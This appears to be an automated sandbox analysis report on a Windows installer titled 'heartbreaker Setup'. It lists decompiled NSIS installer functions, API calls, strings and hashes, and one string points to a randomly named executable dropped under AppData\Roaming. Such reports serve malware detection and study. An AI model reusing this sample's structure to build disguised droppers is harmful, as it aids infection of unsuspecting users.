SendMessageA.USER32(00000000), ref: 00404050
GetDlgItem.USER32 ref: 0040407B
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 004040BB
LoadCursorA.USER32 ref: 004040CA
SetCursor.USER32(00000000), ref: 004040D3
ShellExecuteA.SHELL32(0000070B,open, .B,00000000,00000000,00000001), ref: 004040E6
LoadCursorA.USER32 ref: 004040F3
SetCursor.USER32(00000000), ref: 004040F6
SendMessageA.USER32(00000111,00000001,00000000), ref: 00404122
SendMessageA.USER32(00000010,00000000,00000000), ref: 00404136

Strings

.B, xrefs: 004040DB
N, xrefs: 00404069
open, xrefs: 004040DE

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: .B$N$open
API String ID: 3615053054-847860968
Opcode ID: da112c14776137c7bd89e7c73a234b8b17dddee6ca60b81d448b510bce2e22e9
Instruction ID: 4310844e4bc5412d85e0e67e924f78a0a7df87fdbfd2fc52009ff806257c2229
Opcode Fuzzy Hash: da112c14776137c7bd89e7c73a234b8b17dddee6ca60b81d448b510bce2e22e9
Instruction Fuzzy Hash: 3161A1B1A40209BFEB109F60DC45F6A7B69EB54715F108036FB05BA2D1C7B8E951CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				intOrPtr _t115;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x423e90; // 0x5de1a0
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectA( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextA(_t128, "heartbreaker Setup", 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					_t115 =  *0x423e88; // 0x0
					 *((intOrPtr*)(_t102 + 4)) = _t115;
				}
				return DefWindowProcA(_a4, _a8, _a12, _t102);
			}

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32 ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32 ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,?), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,heartbreaker Setup,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

heartbreaker Setup, xrefs: 00401150
F, xrefs: 0040100C

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$heartbreaker Setup
API String ID: 941294808-1843631586
Opcode ID: a16a50f16efb259b1f94ca86ef79a5d51e0f349a280e4e705ab109419a7a434d
Instruction ID: 87972a138d556bacb88ba9c7fcdf6f47da3ec758f00315b8b39b68d2b09e4b9a
Opcode Fuzzy Hash: a16a50f16efb259b1f94ca86ef79a5d51e0f349a280e4e705ab109419a7a434d
Instruction Fuzzy Hash: 6441BC71804249AFCB058FA4CD459BFBFB9FF44314F00812AF951AA1A0C378EA54DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004041CD, Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 266
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E004041CD(struct HWND__* _a4, signed int _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				struct HWND__* _v12;
				long _v16;
				long _v20;
				char _v24;
				long _v28;
				char _v32;
				intOrPtr _v36;
				long _v40;
				signed int _v44;
				CHAR* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				CHAR* _v68;
				void _v72;
				char _v76;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t81;
				long _t86;
				signed char* _t88;
				void* _t94;
				signed int _t95;
				signed short _t113;
				signed int _t117;
				char* _t122;
				intOrPtr _t124;
				intOrPtr* _t138;
				signed int* _t145;
				intOrPtr _t147;
				signed int _t148;
				signed int _t153;
				struct HWND__* _t159;
				CHAR* _t162;
				int _t163;

				_t81 =  *0x41fc48;
				_v36 = _t81;
				_t162 = ( *(_t81 + 0x3c) << 0xa) + 0x424000;
				_v8 =  *((intOrPtr*)(_t81 + 0x38));
				if(_a8 == 0x40b) {
					E00405282(0x3fb, _t162);
					E00405C3F(_t162);
				}
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E00405282(0x3fb, _t162);
							if(E004055B1(_t180, _t162) == 0) {
								_v8 = 1;
							}
							E004059DD(0x41f440, _t162);
							_t145 = 0;
							_t86 = E00405CFF(0);
							_v16 = _t86;
							if(_t86 == 0) {
								L31:
								E004059DD(0x41f440, _t162);
								_t88 = E00405564(0x41f440);
								if(_t88 != _t145) {
									 *_t88 =  *_t88 & 0x00000000;
								}
								if(GetDiskFreeSpaceA(0x41f440,  &_v20,  &_v28,  &_v16,  &_v40) == 0) {
									_t153 = _a8;
									goto L37;
								} else {
									_t163 = 0x400;
									_t153 = MulDiv(_v20 * _v28, _v16, 0x400);
									_v12 = 1;
									goto L38;
								}
							} else {
								if(0 == 0x41f440) {
									L30:
									_t145 = 0;
									goto L31;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t113 = _v16(0x41f440,  &_v44,  &_v24,  &_v32);
									if(_t113 != 0) {
										break;
									}
									if(_t145 != 0) {
										 *_t145 =  *_t145 & _t113;
									}
									_t145 = E00405517(0x41f440) - 1;
									 *_t145 = 0x5c;
									if(_t145 != 0x41f440) {
										continue;
									} else {
										goto L30;
									}
								}
								_t153 = (_v40 << 0x00000020 | _v44) >> 0xa;
								_v12 = 1;
								_t145 = 0;
								L37:
								_t163 = 0x400;
								L38:
								_t94 = E0040461D(5);
								if(_v12 != _t145 && _t153 < _t94) {
									_v8 = 2;
								}
								_t147 =  *0x42365c; // 0x5e5cd6
								if( *((intOrPtr*)(_t147 + 0x10)) != _t145) {
									E00404568(0x3ff, 0xfffffffb, _t94);
									if(_v12 == _t145) {
										SetDlgItemTextA(_a4, _t163, 0x41f430);
									} else {
										E00404568(_t163, 0xfffffffc, _t153);
									}
								}
								_t95 = _v8;
								 *0x423f24 = _t95;
								if(_t95 == _t145) {
									_v8 = E0040140B(7);
								}
								if(( *(_v36 + 0x14) & _t163) != 0) {
									_v8 = _t145;
								}
								E00403DB1(0 | _v8 == _t145);
								if(_v8 == _t145 &&  *0x420464 == _t145) {
									E00404162();
								}
								 *0x420464 = _t145;
								goto L53;
							}
						}
						_t180 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t117 = _a12 & 0x0000ffff;
					if(_t117 != 0x3fb) {
						L12:
						if(_t117 == 0x3e9) {
							_t148 = 7;
							memset( &_v72, 0, _t148 << 2);
							_v76 = _a4;
							_v68 = 0x420478;
							_v56 = E00404502;
							_v52 = _t162;
							_v64 = E004059FF(0x3fb, 0x420478, _t162, 0x41f848, _v8);
							_t122 =  &_v76;
							_v60 = 0x41;
							__imp__SHBrowseForFolderA(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E004054D0(_t162);
								_t124 =  *0x423e90; // 0x5de1a0
								_t125 =  *((intOrPtr*)(_t124 + 0x11c));
								if( *((intOrPtr*)(_t124 + 0x11c)) != 0 && _t162 == "C:\\Users\\engineer\\AppData\\Local\\Temp") {
									E004059FF(0x3fb, 0x420478, _t162, 0, _t125);
									if(lstrcmpiA(0x422e20, 0x420478) != 0) {
										lstrcatA(_t162, 0x422e20);
									}
								}
								 *0x420464 =  &(( *0x420464)[0]);
								SetDlgItemTextA(_a4, 0x3fb, _t162);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t159 = _a4;
					_v12 = GetDlgItem(_t159, 0x3fb);
					if(E0040553D(_t162) != 0 && E00405564(_t162) == 0) {
						E004054D0(_t162);
					}
					 *0x423658 = _t159;
					SetWindowTextA(_v12, _t162);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E00403D8F(_t159);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E00403D8F(_t159);
					E00403DC4(_v12);
					_t138 = E00405CFF(7);
					if(_t138 == 0) {
						L53:
						return E00403DF6(_a8, _a12, _a16);
					}
					 *_t138(_v12, 1);
					goto L8;
				}
			}

APIs

GetDlgItem.USER32 ref: 00404219
SetWindowTextA.USER32(?,?), ref: 00404246
SHBrowseForFolderA.SHELL32(?,0041F848,?), ref: 004042FB
CoTaskMemFree.OLE32(00000000), ref: 00404306
lstrcmpiA.KERNEL32(Call,00420478,00000000,?,?), ref: 00404338
lstrcatA.KERNEL32(?,Call), ref: 00404344
SetDlgItemTextA.USER32 ref: 00404354

Part of subcall function 00405282: GetDlgItemTextA.USER32 ref: 00405295

Part of subcall function 00405C3F: CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405C97
Part of subcall function 00405C3F: CharNextA.USER32(?,?,?,00000000), ref: 00405CA4
Part of subcall function 00405C3F: CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CA9
Part of subcall function 00405C3F: CharPrevA.USER32(?,?,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CB9

GetDiskFreeSpaceA.KERNEL32(0041F440,?,?,0000040F,?,0041F440,0041F440,?,00000000,0041F440,?,?,000003FB,?), ref: 0040440D
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404428
SetDlgItemTextA.USER32 ref: 004044A1

Strings

A, xrefs: 004042F4
Call, xrefs: 00404332, 00404337, 00404342
C:\Users\user\AppData\Local\Temp, xrefs: 00404321

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A$C:\Users\user\AppData\Local\Temp$Call
API String ID: 2246997448-1655598669
Opcode ID: 6e673fc6d151b24e91dad944200417fa3a5a6dedc4a92dfa1b187ab04de59240
Instruction ID: b374e158efdd7287bf49babe660ec8015a33fdd664c905072b33ae798ddb7db4
Opcode Fuzzy Hash: 6e673fc6d151b24e91dad944200417fa3a5a6dedc4a92dfa1b187ab04de59240
Instruction Fuzzy Hash: 4C9175B1A00219ABDF11AFA1CC84AAF7AB8EF44354F10407BFA04B62D1D77C9A41DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040572B, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 144
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040572B() {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t15;
				long _t16;
				intOrPtr _t18;
				int _t20;
				void* _t28;
				long _t29;
				intOrPtr* _t37;
				int _t43;
				void* _t44;
				long _t47;
				CHAR* _t49;
				void* _t51;
				void* _t53;
				intOrPtr* _t54;
				void* _t55;
				void* _t56;

				_t15 = E00405CFF(1);
				_t49 =  *(_t55 + 0x18);
				if(_t15 != 0) {
					_t20 =  *_t15( *(_t55 + 0x1c), _t49, 5);
					if(_t20 != 0) {
						L16:
						 *0x423f10 =  *0x423f10 + 1;
						return _t20;
					}
				}
				 *0x422608 = 0x4c554e;
				if(_t49 == 0) {
					L5:
					_t16 = GetShortPathNameA( *(_t55 + 0x1c), 0x422080, 0x400);
					if(_t16 != 0 && _t16 <= 0x400) {
						_t43 = wsprintfA(0x421c80, "%s=%s\r\n", 0x422608, 0x422080);
						_t18 =  *0x423e90; // 0x5de1a0
						_t56 = _t55 + 0x10;
						E004059FF(_t43, 0x400, 0x422080, 0x422080,  *((intOrPtr*)(_t18 + 0x128)));
						_t20 = E004056B4(0x422080, 0xc0000000, 4);
						_t53 = _t20;
						 *(_t56 + 0x14) = _t53;
						if(_t53 == 0xffffffff) {
							goto L16;
						}
						_t47 = GetFileSize(_t53, 0);
						_t7 = _t43 + 0xa; // 0xa
						_t51 = GlobalAlloc(0x40, _t47 + _t7);
						if(_t51 == 0 || ReadFile(_t53, _t51, _t47, _t56 + 0x18, 0) == 0 || _t47 !=  *(_t56 + 0x18)) {
							L15:
							_t20 = CloseHandle(_t53);
							goto L16;
						} else {
							if(E00405629(_t51, "[Rename]\r\n") != 0) {
								_t28 = E00405629(_t26 + 0xa, 0x409330);
								if(_t28 == 0) {
									L13:
									_t29 = _t47;
									L14:
									E00405675(_t51 + _t29, 0x421c80, _t43);
									SetFilePointer(_t53, 0, 0, 0);
									WriteFile(_t53, _t51, _t47 + _t43, _t56 + 0x18, 0);
									GlobalFree(_t51);
									goto L15;
								}
								_t37 = _t28 + 1;
								_t44 = _t51 + _t47;
								_t54 = _t37;
								if(_t37 >= _t44) {
									L21:
									_t53 =  *(_t56 + 0x14);
									_t29 = _t37 - _t51;
									goto L14;
								} else {
									goto L20;
								}
								do {
									L20:
									 *((char*)(_t43 + _t54)) =  *_t54;
									_t54 = _t54 + 1;
								} while (_t54 < _t44);
								goto L21;
							}
							E004059DD(_t51 + _t47, "[Rename]\r\n");
							_t47 = _t47 + 0xa;
							goto L13;
						}
					}
				} else {
					CloseHandle(E004056B4(_t49, 0, 1));
					_t16 = GetShortPathNameA(_t49, 0x422608, 0x400);
					if(_t16 != 0 && _t16 <= 0x400) {
						goto L5;
					}
				}
				return _t16;
			}

APIs

Part of subcall function 00405CFF: GetModuleHandleA.KERNEL32(?,?,00000000,0040310E,00000008), ref: 00405D11
Part of subcall function 00405CFF: LoadLibraryA.KERNELBASE(?,?,00000000,0040310E,00000008), ref: 00405D1C
Part of subcall function 00405CFF: GetProcAddress.KERNEL32(00000000,?), ref: 00405D2D

CloseHandle.KERNEL32(00000000,?,00000000,00000001,00000001,?,00000000,?,?,004054C0,?,00000000,000000F1,?), ref: 00405778
GetShortPathNameA.KERNEL32 ref: 00405781
GetShortPathNameA.KERNEL32 ref: 0040579E
wsprintfA.USER32 ref: 004057BC
GetFileSize.KERNEL32(00000000,00000000,00422080,C0000000,00000004,00422080,?,?,?,00000000,000000F1,?), ref: 004057F7
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,00000000,000000F1,?), ref: 00405806
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,00000000,000000F1,?), ref: 0040581C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00421C80,00000000,-0000000A,00409330,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405862
WriteFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000000,000000F1,?), ref: 00405874
GlobalFree.KERNEL32 ref: 0040587B
CloseHandle.KERNEL32(00000000,?,?,00000000,000000F1,?), ref: 00405882

Part of subcall function 00405629: lstrlenA.KERNEL32(00000000,?,00000000,00000000,00405837,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405630
Part of subcall function 00405629: lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,00405837,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405660

Strings

%s=%s, xrefs: 004057B2
[Rename], xrefs: 0040582C, 0040583E

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Handle$CloseGlobalNamePathShortlstrlen$AddressAllocFreeLibraryLoadModulePointerProcReadSizeWritewsprintf
String ID: %s=%s$[Rename]
API String ID: 3772915668-1727408572
Opcode ID: 07c12176a5373c156f7b76f79e2b8e53ec089a42cccabde25e202c2098703b15
Instruction ID: 243778ea09c2d6121d89995a0746b628a30f71b2b4e684d8516dd3187c24d480
Opcode Fuzzy Hash: 07c12176a5373c156f7b76f79e2b8e53ec089a42cccabde25e202c2098703b15
Instruction Fuzzy Hash: 0E412032A05B067BE3207B619C48F6B3A5CEB40754F004436FD05F62D2EA38A8018ABE

Uniqueness

Uniqueness Score: -1.00%

Function 004059FF, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 197
stringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E004059FF(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				struct _ITEMIDLIST* _v12;
				signed int _v16;
				signed char _v20;
				signed int _v24;
				signed char _v28;
				signed int _t36;
				CHAR* _t37;
				signed int _t39;
				int _t40;
				char _t50;
				char _t51;
				char _t53;
				char _t55;
				void* _t63;
				signed int _t69;
				intOrPtr _t73;
				signed int _t74;
				signed int _t75;
				intOrPtr _t79;
				char _t83;
				void* _t85;
				CHAR* _t86;
				void* _t88;
				signed int _t95;
				signed int _t97;
				void* _t98;

				_t88 = __esi;
				_t85 = __edi;
				_t63 = __ebx;
				_t36 = _a8;
				if(_t36 < 0) {
					_t79 =  *0x42365c; // 0x5e5cd6
					_t36 =  *(_t79 - 4 + _t36 * 4);
				}
				_t73 =  *0x423eb8; // 0x5e411c
				_t74 = _t73 + _t36;
				_t37 = 0x422e20;
				_push(_t63);
				_push(_t88);
				_push(_t85);
				_t86 = 0x422e20;
				if(_a4 - 0x422e20 < 0x800) {
					_t86 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				while(1) {
					_t83 =  *_t74;
					if(_t83 == 0) {
						break;
					}
					__eflags = _t86 - _t37 - 0x400;
					if(_t86 - _t37 >= 0x400) {
						break;
					}
					_t74 = _t74 + 1;
					__eflags = _t83 - 0xfc;
					_a8 = _t74;
					if(__eflags <= 0) {
						if(__eflags != 0) {
							 *_t86 = _t83;
							_t86 =  &(_t86[1]);
							__eflags = _t86;
						} else {
							 *_t86 =  *_t74;
							_t86 =  &(_t86[1]);
							_t74 = _t74 + 1;
						}
						continue;
					}
					_t39 =  *(_t74 + 1);
					_t75 =  *_t74;
					_t95 = (_t39 & 0x0000007f) << 0x00000007 | _t75 & 0x0000007f;
					_a8 = _a8 + 2;
					_v28 = _t75 | 0x00000080;
					_t69 = _t75;
					_v24 = _t69;
					__eflags = _t83 - 0xfe;
					_v20 = _t39 | 0x00000080;
					_v16 = _t39;
					if(_t83 != 0xfe) {
						__eflags = _t83 - 0xfd;
						if(_t83 != 0xfd) {
							__eflags = _t83 - 0xff;
							if(_t83 == 0xff) {
								__eflags = (_t39 | 0xffffffff) - _t95;
								E004059FF(_t69, _t86, _t95, _t86, (_t39 | 0xffffffff) - _t95);
							}
							L41:
							_t40 = lstrlenA(_t86);
							_t74 = _a8;
							_t86 =  &(_t86[_t40]);
							_t37 = 0x422e20;
							continue;
						}
						__eflags = _t95 - 0x1d;
						if(_t95 != 0x1d) {
							__eflags = (_t95 << 0xa) + 0x424000;
							E004059DD(_t86, (_t95 << 0xa) + 0x424000);
						} else {
							E0040593B(_t86,  *0x423e88);
						}
						__eflags = _t95 + 0xffffffeb - 7;
						if(_t95 + 0xffffffeb < 7) {
							L32:
							E00405C3F(_t86);
						}
						goto L41;
					}
					_t97 = 2;
					_t50 = GetVersion();
					__eflags = _t50;
					if(_t50 >= 0) {
						L12:
						_v8 = 1;
						L13:
						__eflags =  *0x423f04;
						if( *0x423f04 != 0) {
							_t97 = 4;
						}
						__eflags = _t69;
						if(_t69 >= 0) {
							__eflags = _t69 - 0x25;
							if(_t69 != 0x25) {
								__eflags = _t69 - 0x24;
								if(_t69 == 0x24) {
									GetWindowsDirectoryA(_t86, 0x400);
									_t97 = 0;
								}
								while(1) {
									__eflags = _t97;
									if(_t97 == 0) {
										goto L29;
									}
									_t51 =  *0x423e84; // 0x74691340
									_t97 = _t97 - 1;
									__eflags = _t51;
									if(_t51 == 0) {
										L25:
										_t53 = SHGetSpecialFolderLocation( *0x423e88,  *(_t98 + _t97 * 4 - 0x18),  &_v12);
										__eflags = _t53;
										if(_t53 != 0) {
											L27:
											 *_t86 =  *_t86 & 0x00000000;
											__eflags =  *_t86;
											continue;
										}
										__imp__SHGetPathFromIDListA(_v12, _t86);
										__imp__CoTaskMemFree(_v12);
										__eflags = _t53;
										if(_t53 != 0) {
											goto L29;
										}
										goto L27;
									}
									__eflags = _v8;
									if(_v8 == 0) {
										goto L25;
									}
									_t55 =  *_t51( *0x423e88,  *(_t98 + _t97 * 4 - 0x18), 0, 0, _t86);
									__eflags = _t55;
									if(_t55 == 0) {
										goto L29;
									}
									goto L25;
								}
								goto L29;
							}
							GetSystemDirectoryA(_t86, 0x400);
							goto L29;
						} else {
							_t72 = (_t69 & 0x0000003f) +  *0x423eb8;
							E004058C4(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion", (_t69 & 0x0000003f) +  *0x423eb8, _t86, _t69 & 0x00000040);
							__eflags =  *_t86;
							if( *_t86 != 0) {
								L30:
								__eflags = _v16 - 0x1a;
								if(_v16 == 0x1a) {
									lstrcatA(_t86, "\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L32;
							}
							E004059FF(_t72, _t86, _t97, _t86, _v16);
							L29:
							__eflags =  *_t86;
							if( *_t86 == 0) {
								goto L32;
							}
							goto L30;
						}
					}
					__eflags = _t50 - 0x5a04;
					if(_t50 == 0x5a04) {
						goto L12;
					}
					__eflags = _v16 - 0x23;
					if(_v16 == 0x23) {
						goto L12;
					}
					__eflags = _v16 - 0x2e;
					if(_v16 == 0x2e) {
						goto L12;
					} else {
						_v8 = _v8 & 0x00000000;
						goto L13;
					}
				}
				 *_t86 =  *_t86 & 0x00000000;
				if(_a4 == 0) {
					return _t37;
				}
				return E004059DD(_a4, _t37);
			}

APIs

GetVersion.KERNEL32(00000000,0041FC50,00000000,00404DB3,0041FC50,00000000), ref: 00405AA7
GetSystemDirectoryA.KERNEL32 ref: 00405B22
GetWindowsDirectoryA.KERNEL32(Call,00000400), ref: 00405B35
SHGetSpecialFolderLocation.SHELL32(?,0040F020), ref: 00405B71
SHGetPathFromIDListA.SHELL32(0040F020,Call), ref: 00405B7F
CoTaskMemFree.OLE32(0040F020), ref: 00405B8A
lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405BAC
lstrlenA.KERNEL32(Call,00000000,0041FC50,00000000,00404DB3,0041FC50,00000000), ref: 00405BFE

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405BA6
Call, xrefs: 00405A28, 00405AEF, 00405B0C, 00405B21, 00405B34, 00405B50, 00405B7B, 00405BAB, 00405BB1, 00405BC9, 00405BDC, 00405BF7, 00405BFD, 00405C08, 00405C32
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405AF1

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1230650788
Opcode ID: 4882c5000ece73840c27ef34f72b9de924b5e58c0caf7ba4a0b851a4f11f77ef
Instruction ID: d3edd175ae4d098aa1e1d30cbcff8d3f456ad99068bf2b680a9da6a8a672f2a4
Opcode Fuzzy Hash: 4882c5000ece73840c27ef34f72b9de924b5e58c0caf7ba4a0b851a4f11f77ef
Instruction Fuzzy Hash: 30511471A04A04ABEB215F68DC84B7F3BB4EB55324F14423BE911B62D1D27C6981DF4E

Uniqueness

Uniqueness Score: -1.00%

Function 00405C3F, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405C3F(CHAR* _a4) {
				char _t5;
				char _t7;
				char* _t15;
				char* _t16;
				CHAR* _t17;

				_t17 = _a4;
				if( *_t17 == 0x5c && _t17[1] == 0x5c && _t17[2] == 0x3f && _t17[3] == 0x5c) {
					_t17 =  &(_t17[4]);
				}
				if( *_t17 != 0 && E0040553D(_t17) != 0) {
					_t17 =  &(_t17[2]);
				}
				_t5 =  *_t17;
				_t15 = _t17;
				_t16 = _t17;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((char*)(E004054FB("*?|<>/\":", _t5))) == 0) {
							E00405675(_t16, _t17, CharNextA(_t17) - _t17);
							_t16 = CharNextA(_t16);
						}
						_t17 = CharNextA(_t17);
						_t5 =  *_t17;
					} while (_t5 != 0);
				}
				 *_t16 =  *_t16 & 0x00000000;
				while(1) {
					_t16 = CharPrevA(_t15, _t16);
					_t7 =  *_t16;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t16 =  *_t16 & 0x00000000;
					if(_t15 < _t16) {
						continue;
					}
					break;
				}
				return _t7;
			}

APIs

